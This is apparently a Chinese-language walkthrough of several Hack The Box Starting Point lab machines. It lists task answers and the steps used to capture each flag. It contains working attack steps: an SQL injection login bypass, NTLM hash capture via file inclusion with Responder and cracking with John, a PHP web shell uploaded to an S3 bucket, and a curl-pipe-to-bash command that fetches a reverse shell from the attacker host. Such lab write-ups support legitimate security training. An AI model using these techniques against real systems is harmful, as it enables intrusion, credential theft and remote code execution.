# Appointment
1 | 答案:Structured Query Language |
1 | 答案:SQL injection |
最常见的 sql 漏洞就是 sql 注入了
1 | 答案:Personally Identifiable Information |
1 | 答案:A03:2021-Injection |
谷歌搜索一下得到
https://owasp.org/Top10/
1 | 答案:Apache httpd 2.4.38 ((Debian)) |
利用 nmap 扫描端口查看端口服务
1 | 答案:443 |
https 默认的标准协议端口为 443
1 | 答案:directory |
1 | 答案:404 |
1 | 答案:dir |
1 | 答案:# |
mysql 用来注释一行的是#
1 | 答案:Congratulations |
访问 ip
简单的 sql 注入,使用 ' 闭合前面的语句,并用 #注释后面的语句,用户名为真的情况下成功绕过密码
1 | admin '# |
这里就有需要的 flag 和 task 11 的答案
# Sequel
询问哪个端口是为 mysql 服务开设的
nmap 扫描结果为 3306
1 | 答案:3306 |
1 | 答案:MariaDB |
-u 参数指定登陆用户名
1 | 答案:-u |
root 用户可以在不提供密码的情况下登录
1 | 答案:root |
查询所有内容的通配符
1 | 答案:* |
1 | 答案:htb |
首先先连接上数据库
再通过语句查找所有数据库
1 | mysql -uroot -h IP |
可以看到独有的数据库名称为 htb,接下来查找该数据库中的 flag 字段
1 | use htb; |
得到 flag
# Crocodile
nmap 扫描的默认参数
1 | 答案:-sC |
使用 nmap 扫描端口
1 | 答案:vsftpd 3.0.3 |
匿名访问登录一下
返回的码为 230
1 | 答案:230 |
匿名登陆使用的用户名也在上一问的截图当中
1 | 答案:anonymous |
用 get 命令来下载 ftp 服务器上的文件
1 | 答案:get |
用 get 命令下载文件 "allowed.userlist"
权限最高的是 admin
1 | 答案:admin |
询问 apache 的版本,在之前的 nmap 扫描截图中有显示
1 | 答案:Apache httpd 2.4.41 |
1 | 答案:-x |
我是使用 dirsearch 进行目录扫描
1 | 答案:login.php |
访问登录页面
使用之前匿名登陆时获取的 admin 的密码登录 admin 账户(密码存放在 allowed.userlist.pass 文件中,但是我这里没有成功 get)密码为:rKXM59ESxesUFHAd
成功登录后台并获取到 flag
# Responder
访问 web 服务时被重定向到的域,直接访问下 ip
1 | 答案:unika.htb |
由于重定向到域的问题,网页不能正常访问,因此修改一下 /etc/hosts 文件,添加
1 | IP unika.htb |
接着访问
1 | 答案:php |
1 | 答案:page |
提示已经很明显了,用来本地文件包含
1 | 答案:../../../../../../../../windows/system32/drivers/etc/hosts |
1 | 答案://10.10.14.6/somefile |
1 | 答案:New Technology Lan Manager |
responder 使用的参数
1 | 答案:-I |
john 爆破的全称
1 | 答案:John The Ripper |
这里就要用到前几问的知识点了
先用 ifconfig 获取 tun0 也就是 vpn 地址
再用 responder -I 监听
接着在浏览器进行本地文件包含
1 | http://unika.htb/index.php?page=//IP/somefile |
url 中的 IP 为 tun0 中的 ip 地址即 vpn 地址,responder 抓到了 administrator 的密码 hash
保存在 hash.txt 后使用 john 进行爆破
1 | john hash.txt -w=/usr/share/wordlists/rockyou.txt |
rockyou.txt 是 kali 自带的密码字典,解压就可以用了
1 | sudo gzip -d /usr/share/wordlists/rockyou.txt.gz |
得到 administrator 的密码 badminton
1 | 答案:badminton |
1 | 答案:5985 |
上网查找了下资料,发现 5985 端口可以利用 winrm 这个远程管理工具进行登录
使用 evil-winrm 远程管理工具进行连接
1 | apt-get install evil-winrm |
连接上之后会发现当前目录是个空目录,于是就回到根目录一级一级进行查找
1 | cd C:/ |
虽然是 windows 的机子,但是 ls 和 cd 还是可以使用(当然 dir 也可以)
经过一级级的寻找最终发现 flag 在 mike 用户的桌面上
# Three
nmap 扫描
1 | 答案:2 |
询问提供电子邮件的域名,访问 ip
1 | 答案:thetoppers.htb |
1 | 答案:/etc/hosts |
之前几个靶机都有过的操作,修改 /etc/hosts 文件,添加
1 | 靶机IP thetoppers.htb |
1 | 答案:s3.thetoppers.htb |
爆破子域名就行,但是这里不知道是什么原因,可能是 vpn 的问题,爆破不出,根据开启靶机处的提示得到答案
1 | 答案:Amazon S3 |
该服务可以使用 awscii 命令来进行交互
1 | 答案:aws configure |
1 | 答案:aws s3 ls |
1 | 答案:PHP |
将 s3.thetoppers.htb 同样修改到 /etc/hosts 中
访问 http://s3.thetoppers.htb/
出现这个界面的时候就可以了
1 | aws configure |
按照之前的问题所述进行配置 awscli
列出所有 s3 的桶
列出 s3 下的目录及对象
编写命令执行的 php 代码
将 shell.php 拷贝到 s3 桶当中
查看木马有没有被解析
1 | http://thetoppers.htb/shell.php?nnnpc=ls |
成功解析,在上一级目录获取到 flag
1 | http://thetoppers.htb/shell.php?nnnpc=cat%20../flag.txt |
接着试着利用该木马来获取 shell
使用 ifconfig 命令查看 tun0(我这里查看到的 ip 为 10.10.14.125)
接下来编写 shell 文件
1 | #!/bin/bash |
在 shell.sh 的文件目录下用 python 开启 web 服务
1 | python3 -m http.server 8090 |
监听 5555 端口
1 | nc -lnvp 5555 |
接下来用之前上的马来进行命令执行下载本地的 shell.sh
1 | http://thetoppers.htb/shell.php?nnnpc=curl%2010.10.14.125:8090/shell.sh%20|%20bash |
成功反弹 shell(没成功反弹的可以多执行几次 payload + 开关 vpn 试试)
在上一级目录中获取到 flag